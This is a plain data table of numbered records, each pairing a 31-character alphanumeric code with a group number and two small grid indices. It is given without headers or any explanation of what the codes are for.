+5548,4WAAORFHLOQ69MKBI3Q6AX4GAJT3LYW=,87,5,3 +5549,5WXWIZ5QZYK0JCL3LCDS7ES1185H2U6=,87,5,4 +5552,TYI7YZEPWIE45PMO10TIGJ2LLO63S8S=,87,5,7 +5561,TVLIAKMBNBIH8M0FNMMQ0X3XKER3QY5=,87,7,0 +5562,EZINOUZ4UAZC2AOND9ZMSMSIC8JA7OD=,87,7,1 +5563,F0K856XB3MBCZ1Q6E5STOXWYV3CUWKV=,87,7,2 +5564,T7ZW0VRYQ5H525V50FE7AMF9AETUBF1=,87,7,3 +5565,EHQC65TKH3PS5WG6WWB2RLHD02T23CO=,87,7,4 +5568,X9HL97N7P4ZWIPJVQIRMDC1QYH56JX5=,87,7,7 +5569,6FJ5256BKT8SEI6IQE97WLVLO5TVMF5=,88,0,0 +5570,J90B679FMMSLLAZGB0LY1PGTNFZRVFL=,88,0,1 +5571,MHM75B0933G5WU4SWH4QUF6SR92MQ0T=,88,0,2 +5572,55ODIJQ6BTXPEKOLHR1O2UMFT2TT7IW=,88,0,3 +5573,EJX843FX4H2WSB0G9N2RE7SJL49INUU=,88,0,4 +5574,266PFMYGFFKE9X5C3I0PD9O2PSVVCX2=,88,0,5 +5575,GGEJ0RBU7G2BAD5G449YI3D3WP9LNIU=,88,0,6 +5576,K6GBUHGOGBXNEB50W6OV5MJAALVMHE4=,88,0,7 +5577,9UJ89RX00KBD265NE1Z4ESHU11GUMS8=,88,1,0 +5578,DSYXXHBWVDZNCQWZWQZJOIE6Y89D631=,88,1,1 +5579,VS8NXUZ1PCW9JPFZ1FTN9IAGZ7JWWME=,88,1,2 +5580,72COMJ072XUUVNSP5TAO7U2DWERUNG7=,88,1,3 +5581,W0KYRY12IJYZ9O04TW0BVAK76P49FV0=,88,1,4 +5584,ZJKV5HQB3C6KCH6SC10X3VTNMXJ7ANI=,88,1,7 +5585,XZYM6IIFH2CIUJ6SPCCFGUUTSC9YRZ4=,88,2,0 +5586,I9LYNH6SG16A2GJDR9275Z1ML60XVUS=,88,2,1 +5587,WIV3YBNQ005QYZK7ZIJT27YXX4VBIUL=,88,2,2 +5588,DBNBTBSL1FGGDLTSQQHK1V34FRX0G3J=,88,2,3 +5589,PVYATBFZSF2KBBYNCHKWNZWEXHPYS1Z=,88,2,4 +5590,MY1VG7C4ANM2TJQ5LRUUNBOO4CQ377I=,88,2,5 +5591,DQYGGE45D7DXGOETCFLTH0XK09NW6GR=,88,2,6 +5592,PQBZ8PWQICWWBHWI8PVEWMA26E62RFX=,88,2,7 +5593,F1GCWDAFVVEUKWFNW1Z7BXBL1HAPDZX=,88,3,0 +5594,V6O3GI2G89R6T199O7YDCZYAGOM9CUK=,88,3,1 +5595,JIA1N22O1DPOE6XMDCZ0BMJB9VU2MRE=,88,3,2 +5596,G40SWOHSBJ20V2F6RX2V3RVC8KJ9U0V=,88,3,3 +5597,AQD0OIDUK183F91FA1ENMCCIEN3S06N=,88,3,4 +5598,D4B0BFX61EL93VY85YN5UHPMN9SPSWP=,88,3,5 +5599,NQGS1DHENU64V5GQ832I03WRNSA6Y8D=,88,3,6 +5600,WWYQF9MJW3I4VNNRWII4OP40AM0XDME=,88,3,7 +5601,38VRNGNB7C76D8TE888ADWKOSP19RCW=,88,4,0 +5602,GXGHYJPSFQ1CR3V5YDMXX1AP7AOGVV9=,88,4,1 +5603,DR6QJ5OG8XXDEX2PQGWWYY0VKX8HGID=,88,4,2 +5604,0OBSIT1VAGU5KN2ZBWUI2YQIBGX8X64=,88,4,3 +5605,5USLIMU82FC5RV262N5D9B6KEGFS47A=,88,4,4 +5606,YCQM8AB5N5K67XKU3I976HNLC5F2BKI=,88,4,5 +5607,FWY0JGCCXR22C9U69N0I435QZVKE2T2=,88,4,6 +5608,VDFJROAC7QIRTF213ZO395ZLRBCWSP0=,88,4,7 +5609,3UWJQ9J1LYB2WBDHS919XDCVVI0IKO5=,88,5,0 +5610,K691FQSPHCA37XM57DN3LIP5RFHWVW2=,88,5,1 +5611,AS90GCV1XIHMAH3HY0O4BRMLRQUZD7J=,88,5,2 +5612,7WONE15KD7C30GGFHPOS98LLGQC97K7=,88,5,3 +5613,DUVIKG6TME437SY3EBCCDUANKLYRCUD=,88,5,4 +5616,D7J4ZJT7HPA524IA9QX7AXAZYHU56XW=,88,5,7 +5617,344EBS3Q4DKNP1KMCRV71YHZHWP6NY1=,88,6,0 +5618,RTX3SDVOM7TBZMZ33I8ZG7GT2PBBL44=,88,6,1 +5619,4P2A4KU5DFHL4ZS99PU55AMGGJXYOJJ=,88,6,2 +5620,GWELUKZ5414D0MKJ2HNE8QPIXTIAERI=,88,6,3 +5621,YY0V0T997DYPNB3AMPV3HDAKMGG0PEB=,88,6,4 +5624,H3QPITXAHXDWNXR2NQPKGCJQTHAXRVG=,88,6,7 +5625,8GBRTGTI61PEPL614YBVV06UL9VURRI=,88,7,0 +5626,J4OF2RSA20MLVN543GCX33T4OD0HOMY=,88,7,1 +5627,VMQLEFY4MS6RQK5KOXW9KJ816XO6ZNH=,88,7,2 +5628,SCT8X1QEBT8RPYE1BBH6GR7NV05E1Y9=,88,7,3 +5629,NXM4G56QI2HQQZ6T2JZRKVIXFYUF8CB=,88,7,4 +5632,QVCY4QSI1HC5KG3JBUQO8OZA3ELXV2L=,88,7,7 +5633,KQ89XNMKXY837ML4KFLY8F7ZNNUI3EG=,89,0,0 +5634,78X4PT2CNCK1P57PU1N8ONEF7AXBEPM=,89,0,1 +5635,QPMPC5ISQ9M3FQX3DYERXJWDO56P6KO=,89,0,2 +5636,Y9CTQCL4RAT6TGFN5RJZL51PVCGFHRM=,89,0,3 +5637,3ZWLHXOZQVAN6GGHDL2KHXZS68QZGD9=,89,0,4 +5638,IN2Z3CRP1OAUUHGY8V1ZYGFYMP3DGIF=,89,0,5 +5639,H5Y91PY82U8HHEQLBQDH6AQKBTYOAR0=,89,0,6 +5640,COS11BXQVHYGZIV6ENCT71KGV2BKTGU=,89,0,7 +5641,D4155E9AHRKOQUMXRNH6SS72IPCHN1C=,89,1,0 +5642,818JXLW6OECSJJKM7Z854GNK7S065QN=,89,1,1 +5643,IYTGLV2OBG18WBK33RKLOKSVDGFZJZC=,89,1,2 +5644,UFXSA0B7OEN685TB5WIYPRNP9HN1ZG4=,89,1,3 +5645,ND4KZQUI8A2N3OMD6ZUOI2NQRRIMJ6O=,89,1,4 +5648,IBD310DY59TIF7VXLBTAZEU1AP5ZSKN=,89,1,7 +5649,H1XMPQ8ECRVUQP9CKASEHUGQ127W7YI=,89,2,0 +5650,BGXVXD28UQOSSYVUPCB2Q9T33QKS5BN=,89,2,1 +5651,XC56A2N5VONVTZKKBQ5ODZQCOF2ES6E=,89,2,2 +5652,0UNUCQBR1A90UBTYAOFRYIBNQK9ZELJ=,89,2,3 +5653,3ZLQO3FNUWL32029NFO2ORGWC1SK8NH=,89,2,4 +5654,DBWFQB18DMZ5C471IPML3ZKQNOHVQH8=,89,2,5 +5656,G9G6EMEKLQRPUCQ34XS7GOBPMIIK9CU=,89,2,7 +5657,OZSTNO1XZMQ9FFMEGNCAG1UHC4E7HL7=,89,3,0 +5658,IIYTM4WO3CYRYT3DD9MSXKOGIVTO849=,89,3,1 +5659,I9GAC50FQ2LE2GHIHDAWBD9SULCTQKT=,89,3,2 +5660,HBDW8JYHR1YZNVX2ZF1YU1BHAW0YDTN=,89,3,3 +5661,ZI7GR2FNFPFPBKX4Q2TFWB0TLC0MCGI=,89,3,4 +5662,ILR09116N6N0CTR5KO5UH5E1W4VO64U=,89,3,5 +5663,X1JFXNN7URWNPXOPRYRK6QQ7WKL8R7M=,89,3,6 +5664,RIC9DMGD301H8WSZDII8KVLZONFMPGG=,89,3,7 +5665,XGEQWFBCUNMEBVWQLYSAW5EI2VEUTYP=,89,4,0 +5666,8QI9N9022B0HVFZY7LAT2LGZDTXWCWI=,89,4,1 +5667,MQ3O7O52PKJEN69JA6P8B8HCRBV3CDK=,89,4,2 +5668,OKRJUYJCAVFS9GO4YSWJFJAGZLSN4XF=,89,4,3 +5669,NUTEJVKBXU8V3K7CHD5VKCXUEUA39M8=,89,4,4 +5670,XCKDJINIGVCJKTH2IILT3L2SG9YDNTV=,89,4,5 +5671,UUB5P9946VI3Z4CSSJNDYEW1BZM9SPV=,89,4,6 +5672,GOEYOBQ30U0ENG6NSFV1GMMBGDVBTSQ=,89,4,7 +5673,QNOYZTUR5K888BAW6CSG63Y7V830FN6=,89,5,0 +5674,H5BKYR8MSFXMG19MOPE0ADVXQ1LFDIT=,89,5,1 +5675,TJ5RF89VM2XMRGWLSGWZRG95UOZZ28B=,89,5,2 +5676,Z4KDDWG7HQFIVQES6SQ5N4HT0LKX09N=,89,5,3 +5677,4LGIY8PKYZKAEXGWXPQTFWN23QCKQUS=,89,5,4 +6613,7JZ51LCJBBZRB91VJHYU9KKPIA3O99V=,104,2,4 +5679,4CDMJG26YOTZ8698BFVPP3TN85P8ZSA=,89,5,6 +5680,Y9DMGIENHA5DVPE6CEYNFKL2LL89ZBZ=,89,5,7 +6614,41WUJP771AVILGZD12JP8R4468HOSGA=,104,2,5 +6615,Y9Z5QQDIQWZM0DLLH47DUC8T85JTT9F=,104,2,6 +5683,7IBG93RUMRN1G0SRHUIW6SST59JEH41=,89,6,2 +5684,QGXE18Q8DGXTRYVCI1J2PQXFKPUGS6G=,89,6,3 +5685,I4D7O37J6QD2UQXNGZYWW2WSC6NHY2I=,89,6,4 +6616,ABX94UBX4YLF5J3A3IWKHRDIWVQJMM3=,104,2,7 +6617,XUL010MLRVJZNFSA4XSO3G4IXK2KEWD=,104,3,0 +5688,D3GN1NDRNOGTRCYZHKAQIAUQQ9B1O7T=,89,6,7 +5689,1OGLE7C79HGRBELM92IYA0FBOWTGB7N=,89,7,0 +5690,DAFIR5VTWA56FX8SVVD68IRHYD777N0=,89,7,1 +5691,0KIVEW20E3952KDJXAD0CD87DF6D4YM=,89,7,2 +5692,I4WYX4ESJARJHDQ3PIHPOL4PB4WN1EG=,89,7,3 +5693,1QP5V9MBP7209TFT44RYFXWO9IHC9YI=,89,7,4 +6618,PISVL7O1VJUGIW8ISQIZWER8AMLSWEW=,104,3,1 +5695,Z8XIM33PT3734X9CNDH3JELPEU6UXKP=,89,7,6 +5696,Q8YUFGM5BUR5HEZBAQ486ILJZ2NV6OH=,89,7,7 +5697,RDNGCBWYW5R4IK8GB7TKI167S6HA76S=,90,0,0 +5698,TR4C14CJ3TQZHFE9MCX2AXIJAF4ICXF=,90,0,1 +5699,VQIF4IYQCP46K3DI491RQH4XJXQQT9E=,90,0,2 +5700,F8KH1BNK6NTONRK8VZWBF7SOARMSYEE=,90,0,3 +5701,5OLDPNC2SGTTAS0H340U77BFYHTR2ER=,90,0,4 +5702,O9U2EZOCKOSUXM88EXQH0R8MJZLP4HV=,90,0,5 +5703,5SQID8Y2EQJVL0PJNHYMK9YAF2YABIX=,90,0,6 +5704,LUAYTTNYABMJ0T1OTSCCRW9MPMIZS03=,90,0,7 +5705,ISURN02VR01V25UD36PJQZPBN2LHSMJ=,90,1,0 +5706,VLM4P00JA8CF8BLEKQGUU11JPUNVJS2=,90,1,1 +5707,P51VW1JVYJCBFY3WHOXK1U7OTLLPHMW=,90,1,2 +5708,CQLY3X2V8SM9TX6BCWSMZPPVNIZDB5B=,90,1,3 +5709,ERC2A6X5DZM09MG13A1ITPZTOR6A0II=,90,1,4 +5710,G1AJ2IHU49UITSMDA6TVI5OBXMO3B0N=,90,1,5 +5711,47AJDYLZHH2GQ4ZW70Q724CSU617QPP=,90,1,6 +5712,GJTEPFZNG4TTI2PH8IG1UI7C0PI5ZQY=,90,1,7 +6619,DGPVGZJ66QTXEUXC09Q0XK0PYIQWBUG=,104,3,2 +6620,AI0E5ZGPBUUGYKDIYJRDN6JZDW2DHCC=,104,3,3 +6621,9003TKXN782FGMU4U9WWFTABUCC4HSY=,104,3,4 +5716,CZZS6JZ3OZ8SQINBOZI64H6GDR8YDN9=,90,2,3 +6622,EI1LKVX4WF3MX0299FSJK5B2LSVJM3Z=,104,3,5 +6623,OXQI1IDMM9UHX477UK50CVD5UM5GR9D=,104,3,6 +6624,16GEI1D0THAMI2O4SO6T70X1Y4W7TFM=,104,3,7 +5720,HJF7SF5525PBLHDABFVKUS2SUURKZNW=,90,2,7 +5721,RW591LAHC5ZOG4AVG5BXMK4WWRVZDB6=,90,3,0 +5722,JLVE6774Z0HCBY8MO6ORPOZONN9CFQG=,90,3,1 +5723,DC5KEI7N4OAQFGO7CTV4EAKI7DEQ5PQ=,90,3,2 +5724,DE0OBX0LS10LM3JW7BA82VHHS6QRA2X=,90,3,3 +5725,A833B5KZSSH8E6PK0P4EI03E6YU1110=,90,3,4 +5726,3RNHQ8KRSO02Z0XVP9S5AM76M34LDA5=,90,3,5 +5727,E0R3M9FO4GJPGX7IP5GNHYJS7MUC4P9=,90,3,6 +5728,UCBPW0TW0GLJ0FCAAC2FE7VTFLHRMVV=,90,3,7 +6625,EKF3385DVEPQBAI5YO1W4P72L4LBDHD=,104,4,0 +5730,F5WT67L0J6Q651MFUL77D0S600AH69N=,90,4,1 +5731,NIQPDQU3OZBB7DFW1N3V3HWM9BKNP9C=,90,4,2 +5732,JVAP27RGEXBY5VYO9U7VKEHQDSHVNYP=,90,4,3 +6626,4REQQ2HRZC4ZX7EY9VEFUH3SAZ1TL8X=,104,4,1 +6627,OE51V7VW8QEBOMJYYFKLYPIGCLIEUL3=,104,4,2 +6628,25E73692F6ETGLYH8RKOSK08M4EDOKD=,104,4,3 +5736,1012SY1KZ2C0H86DKONVMAWK9N4QGFT=,90,4,7 +5737,Q7R40RUC6VZVCF3SKET8H7C5IRK9QAN=,90,5,0 +5738,V4UMWDQEDJ6QQJOQ4OB667GX149DTKB=,90,5,1 +5739,X1B7UGFWH6NZA9PRI4JY7038GR79PD2=,90,5,2 +5740,CXPI6HSMJE95Z7EU78UIM6J722O55T2=,90,5,3 +5741,R850Z0MFC37UQPAMJ8PALPY6N2345IX=,90,5,4 +5744,BSF9JQFHPFIT3TREA944TVRJH7HZXA1=,90,5,7 +5747,YWG0YI9MLTAD89NZX8U2NOV954TE6LE=,90,6,2 +5748,GSB12M3CUR6IFF46GAQ6V8W1Q3XYRU5=,90,6,3 +5749,2G07E84CE3LDUY1JYEEA67YWH83XXLN=,90,6,4 +5752,2DII0RM5R57ZVCPY19RELBTZ5U2N8K8=,90,6,7 +5753,NNF3L9ZTZ7LO7UJW6CEM6E9C4EEQYS6=,90,7,0 +5754,L9936WSE1KXZVQ3G6R2NESR5CE1OJE3=,90,7,1 +5755,0T8QCI1VM9A21V31AOEDLFOPUBD94OD=,90,7,2 +5756,1HVCTE58RM814NMHEHS4WYNAACUB35F=,90,7,3 +5757,3PBCMLANPCQI8XUV69XI2THTZ25ODY7=,90,7,4 +6629,NTDX2308W4VMLVF7F4SWPVHG4CK961K=,104,4,4 +9281,KCRM2XRJ12RX2RABNQ0YF9WQHHWJP05=,146,0,0 +5760,TO7XUU5VPXN9N2BFNNBC314YWBQWMRF=,90,7,7 +5761,AFYS4PUNGXCF59SVPBSJH8IT54P3O3N=,91,0,0 +5762,NEBYSW3ZG8JU74OHEBDADMGQAE5EGT3=,91,0,1 +5763,SAI8QFPQK4UJIFVQU8HN5HGF85ZTEAY=,91,0,2 +5764,ZJ6N26C47BV641V24OAEQF5ZLORXA11=,91,0,3 +5765,RUID29U80Q8USEHAD2IWM60XJZP78VJ=,91,0,4 +5766,NP3T7VWPD4Y7EWCRAFELKB7UQ0NS5FS=,91,0,5 +5767,GPLFZHJL90IB5CX1S82XW9F0V5I6LFN=,91,0,6 +5768,PUCB7G96F5ES2NM5KY83COPPUV9DIPQ=,91,0,7 +5769,HXGDIF0FN9NPZ4Z01FNY9M0RU8OEOZG=,91,1,0 +5770,0NZAD6RQWMR0PJ9MOB7CNU9HKTRD7EN=,91,1,1 +5771,3XH1E024UG8QQDTGSQERTRC0F7565WM=,91,1,2 +5772,UPOYXL9OQDG2FYGF12XT8HL8NRE1LQW=,91,1,3 +5773,FK3SWJJ1NFUMROXW2PTB8H2DNR3R5GA=,91,1,4 +9282,THU47U5AFQEZU54A1U1M55I7OMR014L=,146,0,1 +5775,1ZDHJ552Y14U0GCKXN1PL348WRJFFQQ=,91,1,6 +5776,SAUH45U59XOCDWEW8JXD60BBUUSAR2O=,91,1,7 +5777,7FFRMYO8BXEGDRA355NC4XHKSWIA9ZG=,91,2,0 +5778,FPPU0QK8CP6W11Q5I8BCBOE4ELB8Q5X=,91,2,1 +5779,7BKGD75OOWZMB0701D6NZKUBRHT9J3F=,91,2,2 +5780,3I1VPZVW9XYC1WXQRA6UJ2B0PSAF4AQ=,91,2,3 +5781,HJQJSY4WUXG9E3N870K4RSJ6JURNKTS=,91,2,4 +5782,9F4JGWTTOCBGNPMS6YUGMK17GJFICWM=,91,2,5 +5783,DWDYS8YBX6FXAF2NUBIXLWOAL7MRPVO=,91,2,6 +5784,KBRYW7N5LLW2DNY8FFXS2C1JMY1R1BG=,91,2,7 +5785,AG8RBGD4GZIE64X5FJJJ6NLU9Q3FMUX=,91,3,0 +5786,PK6KMPMQA073XNTLT69BY9GBIPTFV2S=,91,3,1 +5787,EMIWI9PC2K3UVPD4OWKK5WZ08IQIR4N=,91,3,2 +5788,QE276FR4B36VSE5UCBE85NNK249CUUS=,91,3,3 +5789,RTHYZE4PA07JQQ5HZ8AAY9KO03IZXDQ=,91,3,4 +5790,4T84A2B99R0OCDVJEYXKQVJCOL5AWAB=,91,3,5 +5791,0W5S3HGFSZOV8S3PAFYAJU6CUVA5PAJ=,91,3,6 +5792,08PA6G3J449ZKGBCGHYSDCG6J1TBRW9=,91,3,7 +5793,54L6J6RICXVFXCAMQ974D8MALQGVYCY=,91,4,0 +5794,87I2IC1SH9FB49BFCS4W1GMC0LZUNJJ=,91,4,1 +5795,EZ0SP0FKQU9DHMEKG3H8JBTNZDQXY29=,91,4,2 +6632,LIREE0QKENSU32SD640NYL1VRDM18A9=,104,4,7 +5797,XE6JL4L4KRKFASRAF3T7FW2DVYG5SGZ=,91,4,4 +6633,PNECMDWSWTFHI9NUE8EVJWMXS28N9U4=,104,5,0 +6634,NEEDLPP1MZ861EZDSIGXP5DBPKA3BZR=,104,5,1 +5800,QXS8FRZO3KPL2HQEFMUZCIR8ESIVX32=,91,4,7 +5801,W2CPIN6O6NR6EK27Q35XAU040ZFK4IA=,91,5,0 +5802,FPATR6Q5ETYXFZ4A8Z0RKO2JEKURYEG=,91,5,1 +5803,O8BXCI3D7MULCQDX7CK26EDRZPB7WLK=,91,5,2 +5804,X8GP44T0H5USPK7DOQ2Q8F4CE65MWR8=,91,5,3 +5805,PZXUETNC3AGWJFCQH6UUKDSVIFMA83S=,91,5,4 +6635,Z3FMSC5T5HYUYWQXO4UCH2UBOWSKWOA=,104,5,2 +6636,DFTA6H9S8CJST3DUPP41O6IYSLXX29S=,104,5,3 +5808,PRDA36ZO602E0P6D0MU27NI95L5VJWV=,91,5,7 +5811,PWO0FBVDCFZZ76DHJHCIY7H03MNCWHR=,91,6,2 +5812,D5ZWCJ79QQVLPVB8PWHDGP1U84BVQTU=,91,6,3 +5813,XPFBU2YRYD6WH5VDQXU96WQ59YWK1B8=,91,6,4 +5816,DKXZ3MS91ZDG4182O3Y90AF6JVP3X6D=,91,6,7 +5817,HFB9QOY3N5VUJC6SRF919ZUFNDXUL55=,91,7,0 +5818,CXCED2LJTSY085BQY5VWRU0PSNA0H8K=,91,7,1 +5819,ROXKBSXJZVV9ZMZDJA1W1HY1X0VBI11=,91,7,2 +5820,F4K9TP6KV50UBGVNRJUPUWSZ4QQT82U=,91,7,3 +5821,13MOIFQFSQDD6QL8L0SKL44BYBG506Y=,91,7,4 +5822,2G29SFYQGH3Z5KJ7QSVUF4M8JTSMJEI=,91,7,5 +5824,YHQK1XUZGDKMX38VRWV4DFICICHWWNU=,91,7,7 +5825,EU6Z86TBNFWKXAFJDJ62F7GW5Q3416L=,92,0,0 +5826,VC7EYEMVTS8KGA7OPNLJSAPZFI3GJBZ=,92,0,1 +5827,NCAVZVE5MAASRYOWOEGQI0LGYUY1TA3=,92,0,2 +5828,N8DEAJP00G3BMLN4HSBZKSXOBUSC9LL=,92,0,3 +5829,UI9N95EHBGSNLW34TTMXF47XJWDIP6B=,92,0,4 +5830,LZ95BTQ5DDV986MONLW5RR2C197GGF0=,92,0,5 +5831,53B4BDYLPELFBB5X8CF12QHQ6D2IIFX=,92,0,6 +5832,DUOHN4KTIQFHBLGJTVQ7Q7MQZAMN7GI=,92,0,7 +5841,DOJ3HKFMBTPAJRLBB1ZWI897K8OR04X=,92,2,0 +5842,IZF7HJRTM3F1GKAM9EW2QBI6QKRNPMU=,92,2,1 +5843,25NAYXYGIIRF8WNRLUQ9Z1Y7Q8V8R4Q=,92,2,2 +5844,7MQAA2TXFBCPMYGJBLZT725ENPKSKMA=,92,2,3 +5845,V8CNGVE34CNAEJ6O5Q9R8EEX7X3VI91=,92,2,4 +5846,T081WUYIQQ2GQ8OJD6QU72TEM5SAS6R=,92,2,5 +5847,1ZKM3U4QIS3CMGYY5HYCKJCRUHL6WP6=,92,2,6 +5848,1220TFEVHEP24WET7MF1HNBE1TLJVYT=,92,2,7 +5849,3DFQ2D0JZKB95C11969XD47TIOC2KSP=,92,3,0 +5850,WNONZAD8A644007PR6AWWYX55P11XDC=,92,3,1 +5851,XC321ETTZ55NY8JFX74HC487AFRXU9B=,92,3,2 +5852,TWMU6H7C1DN972Z7I92K1GW0N2JB68Z=,92,3,3 +5853,RAUXVX8WMO1GC8WYXOOEYA7J5EERLQS=,92,3,4 +5854,88G2MCL250RE38WGAAS19ZD0RCS8RCY=,92,3,5 +5855,FUZT0XJ40YR0NGWCVFERLWAPIGRWKEJ=,92,3,6 +5856,ZOZ0SF208VDPEOB5OJ0YW3V8U8PAK5Z=,92,3,7 +5857,W2MINBZL94ARFSBTMMERU9KSL745LA5=,92,4,0 +5858,TGPLGBEJL7LPGX2QNN374DJBZKWR1DG=,92,4,1 +5859,198DLCBD2K8W615X238OW2723UHFNBJ=,92,4,2 +5860,HAOBXL7Y4HX9B44URTFSYZ20K3OHA0T=,92,4,3 +5861,3HJ4FHHGF5KH1TA0IJMGF27RK8HXAXU=,92,4,4 +5862,ILWCV7KZH5VOSFRZKD7O55V04MY9Y27=,92,4,5 +5863,LXVA81K9QXM052OW5UEZX1H6W93BKK9=,92,4,6 +5864,ZU8JRE6GQHXX1371NIIUEMBZTHXGIUF=,92,4,7 +5865,QQWHBWX9RY0FUD7731PWVG3CD6YT5D2=,92,5,0 +5866,E5DK2FVOL6IN06K09F3QBJI0T8FXLDZ=,92,5,1 +5867,MPDLU998IPI4559PKFJJLALU96DL826=,92,5,2 +5868,9W5K4NF7E87HCRBD80KLW0YXMGKU35R=,92,5,3 +5869,8K0O9KARW0AR1OGKSR61SPMVM3Q33JQ=,92,5,4 +5872,T7IQOE318SDWFGG65JFCKU5F7J82L2F=,92,5,7 +5875,R8DBBRTB10NM31DGN9C8JKWLLU8G5N8=,92,6,2 +5876,34L1UB2TM7H6H5BYDIYAMWIEBUOU6RX=,92,6,3 +5877,FX1Q88AL25ML07NUFLWJW5CBIOUS0RO=,92,6,4 +5878,TXC1GO5IS0HSD8ZDOAVYJ3DP0Z7R56A=,92,6,5 +5879,GP6HIE1YVZ2UWEDUK61WUZYLN5HZO7U=,92,6,6 +5880,XYZETD34U996UCOUX4WWQE1P2LQFVSC=,92,6,7 +5881,Y8GND5Y97KJOH0F94E9N6FNHMOE99XM=,92,7,0 +5882,T2B80Z3OD7IS50X5JUT1HIAWVQOGXLQ=,92,7,1 +5883,4BY8J1XPTW9IQYE1VAHBCUTYLS84JGG=,92,7,2 +5884,49MRT7OBVZTTNO6ENHI1N4Y7TVPX86F=,92,7,3 +5885,HAP9HXGGQ2HRQ6Z0GAG6SIU1TR436R3=,92,7,4 +5888,DL9VOFEAQXA5RXXAVUV8TN9QHDIXEYJ=,92,7,7 +5889,Q4OAEWQ4UAZXITT9IHW6L0RD6VAFPGB=,93,0,0 +5890,2R4UD7PRXKIL35KEAXT8CJUY1RNQD7K=,93,0,1 +5891,M9BLS3U6IL1E2DFIQ1S6QD141T3YTSF=,93,0,2 +5892,LQINRT2IRG6OYWL7U4XZ8KY28W8ZAGJ=,93,0,3 +5893,QSX4KBVROECJP28L1I665O1C595EEK8=,93,0,4 +5894,4WUTQSQSH210LHCZMALYB32YPI5AZ3M=,93,0,5 +5895,3PJMJ8FMYF3RXBO5OP1GIQ1E0402MKM=,93,0,6 +5896,PDEGHG8RLC762HWO7FQCGH1KMA4PU62=,93,0,7 +5897,WADX5IIYFC3LCRLBJ0MJQ2JAE3XFUJX=,93,1,0 +5898,L7XDOOM5KF9CJ8WNSAJX3BS4XCH0KQG=,93,1,1 +5899,VPU3E05YS04FDJN4UFHFEXSAT21ZNF6=,93,1,2 +5900,XRXPWIC5KV1DP58CUOKZPIWAHS0UW8F=,93,1,3 +5901,P9CPPXHHKC176DI5EYU96E7V3JNQ6QY=,93,1,4 +5902,IUN0EU53H0QUC4OWT43MU5Z5RFJJJPO=,93,1,5 +5903,I2Q2TGT24850E2WVX5GPKN37GBD3UJR=,93,1,6 +5904,OCYJZVFWHHKHKXK8DJB0RU09NX3I3W4=,93,1,7 +5905,P683DVN9XZO685YT7KFOA9IPMQL8HE3=,93,2,0 +5906,5P01YJBTMVIQVSOOUAC3F625PY5OC9V=,93,2,1 +5907,H9T8P8RK6U6DPQRMVAAM2OIY5DGSLFA=,93,2,2 +5908,3TAUIXQ4ML4TA435E26W2K6YYJD98MK=,93,2,3 +5909,NTCRZ6FTJMD7EUIWG4SDW135DWTMAB6=,93,2,4 +5910,O4OXB2EZ76WHFL8Y6W9AZ8ONDCIJX5E=,93,2,5 +5911,KJP7DSZP2DM9X263O20HBFYZ0DJ34FJ=,93,2,6 +5912,H0Z2RKCBF1PELFVXX3GX0S2WZGKHY6N=,93,2,7 +5913,H6Y1OR0FDD1YDLSGZ0A8ZOQP70YJ7XJ=,93,3,0 +5914,ZB8S7SAG8WKD3XZ5P40VBY7DNS1KLXZ=,93,3,1 +5915,QCLV1TI12TY4C9J4DOILE24QCDQCMPE=,93,3,2 +5916,EFM17HBXBVO66QU4SM8CTEWJ1D2ASCA=,93,3,3 +5917,IG9ZNY2F6ON482AP1LWV369NOAQISIG=,93,3,4 +5918,HZ8V6A8WCTJO77GPRIIVPV5A8X69JE1=,93,3,5 +5919,1DX7P0AMSB7M3HZ9UGUEYTBRUQLYECG=,93,3,6 +5920,6E1DRLT2H8VDS9XMVX3AD5KRO9QNZLM=,93,3,7 +5921,1KPEVS8NBBGTAS3QYJ4SJGY1I3HRB7I=,93,4,0 +5922,4MKVT423IT19YNICRLIFY6L70L8U5DU=,93,4,1 +5923,MIL7ZIAT1DNGDR4CWKB9HY5X6A3205L=,93,4,2 +5924,VQD3IYY4FQH41MQ4TWN2Y1E0PFHI8K1=,93,4,3 +5925,A2G3Z522JEV7LAAL5QHKIOUNJ9C6UOZ=,93,4,4 +5926,6SHMNRS0VHVJP6XQCSROTL7BYL3HKWU=,93,4,5 +5927,MOO3V0XU2USFAY5W55PTC0RS1LDJ2QH=,93,4,6 +5928,YPL7TRG0YO9US5T29BOD7ZNX8IKJWBK=,93,4,7 +5929,9DDU1VTX64O0SIG83KGYQ37M6RM026N=,93,5,0 +5930,JUM1LVH06CL611C4ND1PZK66XM1WROD=,93,5,1 +5931,8DOYOY6LH1EZGUULMV06WAHE6MWNOT9=,93,5,2 +5932,JM6DGQH5XUKL0Y0PYW5M0ONRZMVEHM9=,93,5,3 +5933,TKXNXM68K078V5LU9LJMWWEIB7U1H6Y=,93,5,4 +5936,PJ00MV1OOTD7QFKR011VQ0KJLSB9LOF=,93,5,7 +5937,21K7HVO8W5145ZC5V22JUNMUXFRIJU5=,93,6,0 +5938,J4OXKL0SJP0CXNGNL9KY8KKL7DQHFN8=,93,6,1 +5939,ZXHVM2APLVTBHK2L7J3H56PSB41C1BQ=,93,6,2 +5940,UNWUF9A8D2UPOVOFTE9TVG2NQ8HFR2E=,93,6,3 +5941,PL6LQT2JIJXUVQMFASLOJFK37GVWVNU=,93,6,4 +5942,JWZA3BE46KRL7G1FGE111ZLZTIZEJLU=,93,6,5 +5943,JXMYAHLKGJC8093HGX1N0IS47RFIR2E=,93,6,6 +5944,2H9D0SICIEAW4G52QL5G0FFNMOYJL9Z=,93,6,7 +5945,RSRB0G88F4Y8MAK653JWIOYOY65S7UM=,93,7,0 +5946,BEPOSSGC91P1MDQ05H35V13WL2CUTHX=,93,7,1 +5947,VPK5QNMKRONQEL0BC7LRK5KHE166O3S=,93,7,2 +5948,MFJFARLS5JBJPUT4F3XC1EBRHLA54E3=,93,7,3 +5949,LDEDRBZZ0W7FK7I5K1FM4IHXAAMA0KO=,93,7,4 +5952,F8ZI9FVNQECPP90JHCK80STCUOVH4L3=,93,7,7 +5953,FYBX2O6XPUFWY2W37S1GIAH16OD5QXN=,94,0,0 +5954,807J0G96XT5SLLQ63X9199IQOIWAHTX=,94,0,1 +5955,QQZXEZYBR3UPKSPJ4VS2B71XBNE52PY=,94,0,2 +5956,BUAECG9LNN01UKXME4MTZLD7VSXJHF3=,94,0,3 +5957,AU0U7HWQL8B73L0VP77RPVV48FKY8VW=,94,0,4 +5958,851VDEBRZ2MDTT4N9A8K32JJXL9UW48=,94,0,5 +5959,NLT5RGSGI7GZBREX3R05GN31BBJFCOL=,94,0,6 +5960,WDWV1ODG85NM18YTO397YMVMH8UPW8E=,94,0,7 +5961,ODPONNFZ12V06NAPYEHO4FYPKISNAOH=,94,1,0 